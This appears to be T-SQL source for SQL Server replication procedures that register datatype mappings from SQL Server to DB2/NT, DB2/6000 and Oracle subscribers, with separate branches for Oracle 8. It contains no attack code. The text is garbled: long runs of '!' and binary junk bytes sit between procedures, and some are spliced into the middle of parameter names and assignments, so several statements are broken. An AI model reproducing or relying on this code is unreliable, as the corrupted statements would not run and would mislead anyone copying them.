    exec sys.sp_add_datatype_mapping 'DB2/NT', 'bigint', 'VARCHAR', 26, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/NT', 'char', 'CHAR', 254, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'varchar', 'VARCHAR', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'char', 'VARCHAR', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'smalldatetime', 'TIMESTAMP', 26, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'datetime', 'TIMESTAMP', 26, 0, 1

    exec sys.sp_add_datatype_mapping 'DB2/NT', 'real', 'REAL', 24, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'decimal', 'DECIMAL', 31, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'double precision', 'DOUBLE', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'float', 'FLOAT', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'numeric', 'NUMERIC', 31, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/NT', 'smallmoney', 'DECIMAL', 10, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'money', 'DECIMAL', 19, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/NT', 'varbinary', 'VARCHAR () FOR BIT DATA', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'binary', 'CHAR () FOR BIT DATA', 254, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/NT', 'timestamp', 'CHAR () FOR BIT DATA', 8, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'uniqueidentifier', 'CHAR', 38, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'image', 'VARCHAR () FOR BIT DATA', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/NT', 'text', 'VARCHAR', 4000, 4, 1

    --DB2/6000
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'bit', 'SMALLINT', 1,  0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'tinyint', 'SMALLINT', 3, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'smallint', 'SMALLINT', 5, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'int', 'INT', 10, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'bigint', 'VARCHAR', 26, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/6000', 'char', 'CHAR', 254, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'varchar', 'VARCHAR', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'char', 'VARCHAR', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'smalldatetime', 'TIMESTAMP', 26, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'datetime', 'TIMESTAMP', 26, 0, 1

    exec sys.sp_add_datatype_mapping 'DB2/6000', 'real', 'REAL', 24, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'decimal', 'DECIMAL', 31, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'double precision', 'DOUBLE', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'float', 'FLOAT', 53, 0, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'numeric', 'NUMERIC', 31, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/6000', 'smallmoney', 'DECIMAL', 10, 3, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'money', 'DECIMAL', 19, 3, 1

    exec sys.sp_add_datatype_mapping 'DB2/6000', 'varbinary', 'VARCHAR () FOR BIT DATA', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'binary', 'CHAR () FOR BIT DATA', 254, 4, 1

    exec sys.sp_add_datatype_mapping 'DB2/6000', 'timestamp', 'CHAR () FOR BIT DATA', 8, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'uniqueidentifier', 'CHAR', 38, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'image', 'VARCHAR () FOR BIT DATA', 4000, 4, 1
    exec sys.sp_add_datatype_mapping 'DB2/6000', 'text', 'VARCHAR', 4000, 4, 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4'*ޣvs
--
-- Name:
--		sp_MSrepl_MSSQL_ORA_datatypemappings
--
-- Description:
--		Define SQL -> Oracle subscriber mappings
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Internal
--

CREATE PROCEDURE sys.sp_MSrepl_MSSQL_ORA_datatypemappings
(
	@source_dbms			sysname,
	@source_version			sysname = NULL,
	@destination_dbms		sysname,
	@destination_version		sysname = NULL
)
AS
BEGIN
    DECLARE @msg nvarchar(4000)
    SELECT @msg = 'Creating datatype mappings for ' +
                    @source_dbms +
                    CASE
                        WHEN @source_version IS NOT NULL THEN @source_version
                        ELSE N''
                    END + ' to ' +
                    @destination_dbms + 
                    CASE
                        WHEN @destination_version IS NOT NULL THEN @destination_version
                        ELSE N''
                    END
    PRINT @msg

	-- bigint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bigint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision	= 19,
											@destination_scale      = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- binary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'binary',
											@source_length_min      = 1,
											@source_length_max      = 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'RAW',
											@destination_length     = -1,
--											@destination_length     = 2000,
											@destination_nullable	= 1,
											@is_default				= 1
											
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'binary',
											@source_length_min      = 2001,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1

	-- bit
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'bit',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
                                            @destination_precision  = 1,
                                            @destination_scale      = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- char
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 1,
											@source_length_max      = 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR',
											@destination_length     = -1,
--											@destination_length     = 2000,
											@destination_nullable	= 1,
											@is_default				= 1
	
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 2001,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR2',
											@destination_length     = -1,
--											@destination_length     = 4000,
											@destination_nullable	= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'char',
											@source_length_min      = 4001,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
    -- date
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'date',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DATE',
											@destination_nullable	= 1,
											@is_default				= 1

    -- datetime
	IF @destination_version LIKE '8%'
    BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetime',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'VARCHAR2',
								    			@destination_length     = 27,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
        
    END
    ELSE
	BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetime',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'TIMESTAMP',
								    			@destination_length     = 3,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
    END

    -- datetime2
	IF @destination_version LIKE '8%'
    BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetime2',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'VARCHAR2',
								    			@destination_length     = 27,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
        
    END
    ELSE
	BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetime2',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'TIMESTAMP',
								    			@destination_length     = 7,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
    END

    -- datetimeoffset
	IF @destination_version LIKE '8%'
    BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetimeoffset',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'VARCHAR2',
								    			@destination_length     = 34,
									    		@destination_n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4>avsullable	= 1,
										    	@is_default				= 1
        
    END
    ELSE
	BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'datetimeoffset',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'TIMESTAMP (7) WITH TIME ZONE',
									    		@destination_nullable	= 1,
										    	@is_default				= 1
    END

	-- decimal
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'decimal',
											@source_precision_min   = 1,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = -1,
											@destination_scale      = -1,
--											@destination_precision  = 38,
--											@destination_scale      = 38,
											@destination_nullable	= 1,
											@is_default				= 1

	-- double precision
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'double precision',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'FLOAT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- float
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'float',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'FLOAT',
											@destination_nullable	= 1,
											@is_default				= 1

	-- geography
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geography',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1

	-- geometry
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'geometry',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1

	-- hierarchyid
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'hierarchyid',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	-- image
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'image',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1

	-- int
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'int',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = 10,
											@destination_scale      = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- money
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'money',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = 19,
											@destination_scale      = 4,
											@destination_nullable	= 1,
											@is_default				= 1
	IF @destination_version LIKE '8%'
	BEGIN
		-- nchar
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1,
											@source_length_max      = 1000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR',
											@destination_length     = -1,
--											@destination_length     = 1000,
											@destination_nullable	= 1,
											@is_default				= 1
	
											
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1001,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN
		-- nchar
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1,
											@source_length_max      = 1000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCHAR',
											@destination_length     = -1,
--											@destination_length     = 1000,
											@destination_nullable	= 1,
											@is_default				= 1
											
	
											
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nchar',
											@source_length_min      = 1001,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END

	IF @destination_version LIKE '8%'
	BEGIN
		-- ntext
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'ntext',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default		= 1
	END
	ELSE
	BEGIN
		-- ntext
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'ntext',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
								!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(4?98vs			@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default		= 1
	END

	-- numeric
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'numeric',
											@source_precision_min   = 1,
											@source_precision_max   = 38,
											@source_scale_min       = 0,
											@source_scale_max       = 38,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = -1,
											@destination_scale      = -1,
--											@destination_precision  = 38,
--											@destination_scale      = 38,
											@destination_nullable	= 1,
											@is_default				= 1
	IF @destination_version LIKE '8%'
	BEGIN
		-- nvarchar
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 1,
											@source_length_max      = 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR2',
											@destination_length     = -1,
--											@destination_length     = 2000,
											@destination_nullable	= 1,
											@is_default				= 1
											
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 2001,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN

		-- nvarchar
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 1,
											@source_length_max      = 1000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NVARCHAR2',
											@destination_length     = -1,
--											@destination_length     = 2000,
											@destination_nullable	= 1,
											@is_default				= 1
											
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'nvarchar',
											@source_length_min      = 1001,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END

	-- real
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'real',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'REAL',
											@destination_nullable	= 1,
											@is_default				= 1
											
	-- smalldatetime
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smalldatetime',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'DATE',
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = 5,
											@destination_scale      = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- smallmoney
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'smallmoney',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = 10,
											@destination_scale      = 4,
											@destination_nullable	= 1,
											@is_default				= 1

    -- sql_variant
	IF @destination_version LIKE '8%'
	BEGIN
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sql_variant',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sql_variant',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END

    -- sysname
	IF @destination_version LIKE '8%'
	BEGIN
		-- sysname
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sysname',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR2',
											@destination_length     = 128,
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN
		-- sysname
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'sysname',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NVARCHAR2',
											@destination_length     = 128,
											@destination_nullable	= 1,
											@is_default				= 1
	END

	-- text
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'text',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
    --time
	IF @destination_version LIKE '8%'
    BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'time',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'VARCHAR2',
								    			@destination_length !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<A4VMs    = 16,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
        
    END
    ELSE
	BEGIN
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'time',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'VARCHAR2',
								    			@destination_length     = 16,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
        
/*
	    exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
		    									@source_version			= @source_version,
			    								@source_type			= 'time',
				    							@source_nullable		= 1,
					    						@destination_dbms		= @destination_dbms,
						    					@destination_version	= @destination_version,
							    				@destination_type		= 'TIMESTAMP',
								    			@destination_length     = 7,
									    		@destination_nullable	= 1,
										    	@is_default				= 1
*/
    END

	-- timestamp
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'timestamp',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'RAW',
											@destination_length     = 8,
											@destination_nullable	= 1,
											@is_default				= 1

	-- tinyint
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'tinyint',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NUMBER',
											@destination_precision  = 3,
											@destination_scale      = 0,
											@destination_nullable	= 1,
											@is_default				= 1

	-- uniqueidentifier
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'uniqueidentifier',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CHAR',
											@destination_length     = 38,
											@destination_nullable	= 1,
											@is_default				= 1

	-- varbinary
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary',
											@source_length_min      = 1,
											@source_length_max      = 2000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'RAW',
											@destination_length     = -1,
--											@destination_length     = 2000,
											@destination_nullable	= 1,
											@is_default				= 1

	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary',
											@source_length_min      = 2001,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1
											
	-- varchar
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar',
											@source_length_min      = 1,
											@source_length_max      = 4000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'VARCHAR2',
											@destination_length     = -1,
--											@destination_length     = 4000,
											@destination_nullable	= 1,
											@is_default				= 1
											
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varchar',
											@source_length_min      = 4001,
											@source_length_max      = 8000,
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	IF @destination_version LIKE '8%'
	BEGIN
		-- xml
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'xml',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'CLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END
	ELSE
	BEGIN
		
		-- xml
		exec sys.sp_MSrepl_adddatatypemapping	@source_dbms		= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'xml',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'NCLOB',
											@destination_nullable	= 1,
											@is_default				= 1
	END

	-- varbinary(max)
	exec sys.sp_MSrepl_adddatatypemapping	@source_dbms			= @source_dbms,
											@source_version			= @source_version,
											@source_type			= 'varbinary(max)',
											@source_nullable		= 1,
											@destination_dbms		= @destination_dbms,
											@destination_version	= @destination_version,
											@destination_type		= 'BLOB',
											@destination_nullable	= 1,
											@is_default				= 1

